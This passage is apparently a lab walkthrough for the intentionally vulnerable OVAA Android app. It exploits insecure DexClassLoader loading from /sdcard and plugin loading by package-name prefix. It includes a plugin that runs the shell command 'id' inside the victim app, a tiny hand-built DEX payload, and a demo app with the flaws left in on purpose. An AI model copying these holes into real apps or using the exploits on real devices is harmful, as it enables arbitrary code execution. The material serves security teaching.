DexClassLoader cl = new DexClassLoader(file.getAbsolutePath(), getCacheDir().getAbsolutePath(),
null, getClassLoader());
int version = (int) cl.loadClass("oversecured.ovaa.updater.VersionCheck")
.getDeclaredMethod("getLatestVersion").invoke(null);
if(Build.VERSION.SDK_INT < version) {
Toast.makeText(this, "Update required!", Toast.LENGTH_LONG).show();
}
}
}
catch (Exception e) {
//ignore
}
}
}
The class OversecuredApplication
inherits from the base class Application
.
https://developer.android.com/reference/android/app/Application
Base class for maintaining global application state. You can provide your own implementation by creating a subclass and specifying the fully-qualified name of this subclass as the “android:name” attribute in your AndroidManifest.xml’s
<application>
tag. The Application class, or your subclass of the Application class, is instantiated before any other class when the process for your application/package is created.
https://developer.android.com/reference/android/app/Application#onCreate()
The
onCreate
method will be called when the application is starting, before any activity, service, or receiver objects (excluding content providers) have been created.
This means that each time when the ovaa
application is opened, the method updateChecker()
and invokePlugins()
are executed before any activity, service or receiver objects are created.
Let us examine each function and vulnerability associated with each of them.
Exploiting updateChecker() Function
private void updateChecker() {
try {
File file = new File("/sdcard/updater.apk");
if (file.exists() && file.isFile() && file.length() <= 1000) {
DexClassLoader cl = new DexClassLoader(file.getAbsolutePath(), getCacheDir().getAbsolutePath(),
null, getClassLoader());
int version = (int) cl.loadClass("oversecured.ovaa.updater.VersionCheck")
.getDeclaredMethod("getLatestVersion").invoke(null);
if(Build.VERSION.SDK_INT < version) {
Toast.makeText(this, "Update required!", Toast.LENGTH_LONG).show();
}
}
}
catch (Exception e) {
//ignore
}
}
This function does the following.
- Checks if there is a file existing at path
/sdcard/updater.apk
. - Checks if the same file is a file.
- Checks if the size of the file is less than 1000 bytes.
- If all the above 3 checks
true
, then the function attempts to load the classoversecured.ovaa.updater.VersionCheck
from the file. - Attempts to get the function
getLatestVersion()
from the loaded class. - Invokes the function
getLatestVersion()
and saves its return value as integer -version
. - Checks if the SDK version of the software currently running on the current hardware device is less than the value returned by call to function
getLatestVersion()
.- Read more - SDK_INT
Build.VERSION.SDK_INT < version
- If the above check results in
True
, a Toast message is shown with the message -Update required
.
To exploit this, we should do the following.
- Create another application with package name
oversecured.ovaa.updater
- Create class
VersionCheck
- Create method
getLatestVersion()
that returns an integer greater than the SDK version. In our example, we will return1337
.- The method can be
public
orprivate
as the functiongetDeclaredMethod()
will get bothprivate
andpublic
methods in the class.
- The method can be
- Compile the application and place the APK in sdcard of the device as
updater.apk
/sdcard/updater.apk
- The APK size should not be larger than
1000
bytes.
The size part is where the exploitation of this misconfiguration becomes tricky. When compiling a Hello World
application written in either kotlin
or java
, the debug APK is more than 5 MB
. Pushing this APK to the sdcard will not do anything as the size check will not be satisfied.
Looking at the documentation for DexClassLoader
points us in right direction which will allow us to reduce the size of the APK.
https://developer.android.com/reference/dalvik/system/DexClassLoader
A class loader that loads classes from
.jar
and.apk
files containing aclasses.dex
entry. This can be used to execute code not installed as part of an application
So, we don’t need the whole APK contents, we just need an APK file with classes.dex
file which contains the class definition for oversecured.ovaa.updater.VersionCheck
.
Create a new project in Android Studio
with no activity.
I chose Java
as the language for this project instead of Kotlin
as I found it results in lesser size APK when compared to Kotlin
based app.
Create new Java class named VersionCheck
.
The getLatestVersion()
method is created inside VersionCheck
class and it returns the integer value 1337
.
package oversecured.ovaa.updater;
public class VersionCheck {
public int getLatestVersion(){
return 1337;
}
}
Compile the application and build the APK.
The application size if nearly 5 MB. Lets unzip the package and try to find the DEX file in which the VersionCheck
class is present.
The smallest DEX file is classes3.dex
. Decompiling it to see if contains our class definition.
The classes3.dex
indeed contains the required class definition. So, we only need to place this DEX file in the APK and we can safely ignore all other files.
Lets rename classes3.dex
to classes.dex
and zip it to updater.apk
.
The APK is now only 820 bytes
and should pass the size check.
Pushing the APK to sdcard.
Opening the ovaa
application now should show the Update required
Toast message right?.
The toast was not showing up. The reason is, when the function getLatestVersion()
is invoked using the invoke(null)
method, a null argument is passed. Instead, if the instance of the class VersionCheck
is passed to the invoke()
function, the getLatestVersion()
is called successfully and returns the integer value 1337
.
To demostrate this, I wrote another vulnerable app which implements the same updateChecker()
functionality. The only change is, when invoking the getLatestVersion()
method, instance of the class VersionCheck
is passed to the function invoke()
.
Below is how the vulnerable app is implemented.
Source Code for SecureApp - com.ub3rsecure.secureapp
Android Manifest
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools">
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"></uses-permission>
<application
android:name=".UltraSecureApp"
android:allowBackup="true"
android:dataExtractionRules="@xml/data_extraction_rules"
android:fullBackupContent="@xml/backup_rules"
android:icon="@mipmap/ic_launcher"
android:label="@string/app_name"
android:supportsRtl="true"
android:theme="@style/Theme.Secureapp"
tools:targetApi="31">
<activity
android:name=".MainActivity"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
</application>
</manifest>
Main things to note are the following.
- It uses permission
android.permission.READ_EXTERNAL_STORAGE
.- To read the APK file.
- Inside
<application>
,android:name
is specified as.UltraSecureApp
.- The class
UltraSecureApp
will inherit fromApplication
- The class
MainActivity.kt
package com.ub3rsecure.secureapp
import androidx.appcompat.app.AppCompatActivity
import android.os.Bundle
import android.Manifest.permission.READ_EXTERNAL_STORAGE
class MainActivity : AppCompatActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(R.layout.activity_main)
reqPerms()
}
private fun reqPerms(){
requestPermissions(arrayOf(READ_EXTERNAL_STORAGE), 0x1337)
}
}
MainActivity
will request permission from user for SDCARD access.
UltraSecureApp.kt
package com.ub3rsecure.secureapp
import android.app.Application
import android.os.Build
import android.util.Log
import android.widget.Toast
import dalvik.system.DexClassLoader
import java.io.File
class UltraSecureApp : Application() {
override fun onCreate() {
super.onCreate()
updateChecker()
}
private fun showToast(messageContent: String){
Toast.makeText(applicationContext, messageContent, Toast.LENGTH_LONG).show()
}
private fun updateChecker(){
try {
var file = File("/sdcard/updater.apk")
if (file.exists() and file.isFile and (file.length() <= 1000)){
// Get an instance of the DexClassLoader for the APK file.
var clsLoader = getClassLoader(file)
// Get the class VersionCheck
val loadCls = clsLoader.loadClass("oversecured.ovaa.updater.VersionCheck")
// Get the getLatestVersion() method from the loaded class.
// val method = loadCls.getMethod("getLatestVersion")
val method = loadCls.getDeclaredMethod("getLatestVersion")
// Create Instance of the VersionCheck class
val clsInstance = loadCls.newInstance()
// invoking the method with instance of the class VersionCheck as the argument to invoke.
var version = method.invoke(clsInstance) as Int
if (Build.VERSION.SDK_INT < version){
showToast("Update Required")
}
}
} catch (e: Exception){
Log.d("DEBUG: ERROR ", e.message.toString())
}
}
private fun getClassLoader(dexFile: File): DexClassLoader {
return DexClassLoader(dexFile.absolutePath,null,null, classLoader)
}
}
Compile, Build and Install the application on the device. The application asks the user for permission.
Close and open the application again after providing permission.
This time the application shows the Toast message.
Exploiting invokePlugins() Function
private void invokePlugins() {
for(PackageInfo info : getPackageManager().getInstalledPackages(PackageManager.GET_META_DATA)) {
String packageName = info.packageName;
Bundle meta = info.applicationInfo.metaData;
if(packageName.startsWith("oversecured.plugin.")
&& meta.getInt("version", -1) >= 10) {
try {
Context packageContext = createPackageContext(packageName,
CONTEXT_INCLUDE_CODE | CONTEXT_IGNORE_SECURITY);
packageContext.getClassLoader()
.loadClass("oversecured.plugin.Loader")
.getMethod("loadMetadata", Context.class)
.invoke(null, this);
}
catch (Exception e) {
throw new RuntimeException(e);
}
}
}
}
The function does the following.
- Gets the list of all installed packages.
- For each installed package, read the meta-data from the AndroidManifest.
- Check if the package name is starting with
oversecured.plugin.
and the value ofversion
meta-data
is greater than 10. - If both above conditions are satisfied, then the class
oversecured.plugin.Loader
is loaded. - Attempts to invoke the function
loadMetadata
from the loaded class.
To exploit this, we can create and install a package which satisfies all above conditions.
Creating the Malicious Package
We will create new application in Android Studio following below steps.
- The package name should start with
oversecured.plugin.
(notice the[dot]
at the end) . Example -oversecured.plugin.exploit
. - We will add a new class
Loader
to the project with different package nameoversecured.plugin
so that it can be loaded asoversecured.plugin.Loader
. - Place the version metadata in the AndroidManifest.xml and the value should be an integer bigger than 10.
AndroidManifest:
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools">
<application
android:allowBackup="true"
android:dataExtractionRules="@xml/data_extraction_rules"
android:fullBackupContent="@xml/backup_rules"
android:icon="@mipmap/ic_launcher"
android:label="@string/app_name"
android:supportsRtl="true"
android:theme="@style/Theme.Exploit"
tools:targetApi="31">
<meta-data android:name="version" android:value="1337" />
<activity
android:name=".MainActivity"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
</application>
</manifest>
- The important line is -
<meta-data android:name="version" android:value="1337" />
. Rest of the file is the default one Android Studio creates.
MainActivity:
Leave the MainActivity as the default one created by android studio. We don’t need to change anything.
package oversecured.plugin.exploit
import androidx.appcompat.app.AppCompatActivity
import android.os.Bundle
class MainActivity : AppCompatActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(R.layout.activity_main)
}
}
Loader Class - oversecured.plugin.Loader:
It is important to keep the package name for this class as oversecured.plugin
.
package oversecured.plugin
import android.util.Log
import androidx.appcompat.app.AppCompatActivity
import java.io.BufferedReader
import java.io.InputStreamReader
public class Loader : AppCompatActivity(){
public fun loadMetadata(): String {
var cmdProc = Runtime.getRuntime().exec("id")
var cmdOut = BufferedReader(InputStreamReader(cmdProc.inputStream)).readLine().toString()
Log.d("DEBUG CMDOUT", cmdOut)
return cmdOut
}
}
The Loader
class implements the loadMetadata()
function. Inside the function definition, we have implemented code to execute system command id
using java.lang.Runtime.exec()
. The output of the command will be logged in the device logs. The output is also returned to the caller.
Note: no need to make the Loader class inherit from AppCompatActivity. I forgot to remove it while testing different things. It can be as
public class Loader { .... }
Compile the program and decompile to verify if all the package names are in order and we can load the Loader class as oversecured.plugin.Loader
.
Everything seems to be in order and we should pass the package name check and the Loader
class will also be loaded from the package.
Install the package on the device and next time the ovaa
application is opened, we should see the output of system command id
in the device logs.
$ adb shell "pm list packages" | grep oversecured
package:oversecured.ovaa.updater
package:oversecured.ovaa
package:oversecured.plugin.exploit
Unfortunately, this wasn’t the case. The ovaa
app kept crashing when we attempt to open it after installing our malicious package. After uninstalling the malicious app, the ovaa
app was opening normally. So the problem lies somewhere in the invokePlugins()
function implementation itself.
After a bit of investigation , I found the following reasons for why the app keeps crashing.
- After getting a list of installed packages, the
ovaa
app attempts to readversion
meta-data for each package. Most probably, most of the package won’t be having this in respective AndroidManifest file and would result in an exception. As we can see from the source code, this is not handled by theovaa
application.meta.getInt("version", -1)
- After loading the class
oversecured.plugin.Loader
and getting the methodloadMetadata()
from it, the app attempts to invoke the function by callinginvoke(null, this)
. This call does not work as anull
object is passed to the invoke() instead of the instance of the class from which the method is invoked. In our case, theoversecured.plugin.Loader
class.
Just like we did for demonstrating the updateChecker()
exploit, implementing the invokePlugins()
functionality in our SecureApp
. The changes are fixing the above 2 points. Proper error handling and passing an instance of the class to the invoke() method.
Implementing invokePlugins() Function in SecureApp
package com.ub3rsecure.secureapp
import android.app.Application
import android.content.pm.PackageManager
import android.os.Build
import android.util.Log
class UltraSecureApp : Application() {
override fun onCreate() {
super.onCreate()
invokePlugins()
}
@Suppress("DEPRECATION")
private fun invokePlugins(){
for (packageInfo in packageManager.getInstalledPackages(PackageManager.GET_META_DATA)){
// Log.d("DEBUG", packageInfo.packageName)
var pkgName = packageInfo.packageName
var version = -1
// not every installed package will have version in the meta-data tag.
// handle the error, otherwise crashes
try{
var meta = packageInfo.applicationInfo.metaData
version = meta.getInt("version", -1)
} catch (e: Exception){
// Log.d("DEBUG", e.message.toString())
}
if (pkgName.startsWith("oversecured.plugin.") and (version >= 10)){
try{
Log.d("DEBUG", pkgName)
// do the stuff with the package
var pkgContext = createPackageContext(pkgName, CONTEXT_INCLUDE_CODE or CONTEXT_IGNORE_SECURITY)
var clsLoader = pkgContext.classLoader
var cls = clsLoader.loadClass("oversecured.plugin.Loader")
// var method = cls.getMethod("loadMetadata", cls)
var method = cls.getMethod("loadMetadata")
var clsInst = cls.newInstance()
method.invoke(clsInst)
// var ot = method.invoke(clsInst) as String
// Log.d("DEBUG OUTPUT", ot)
} catch (e:Exception){
Log.d("DEBUG ERROR", e.message.toString())
}
}
}
}
}
Compile and install the APK on the device. Opening the SecureApp, we see that it successfully opens up and the output of the command id
can be seen in the device logs.
Checking the process id (pid) also confirms that SecureApp
actually executed code from the package oversecured.plugin.Loader
.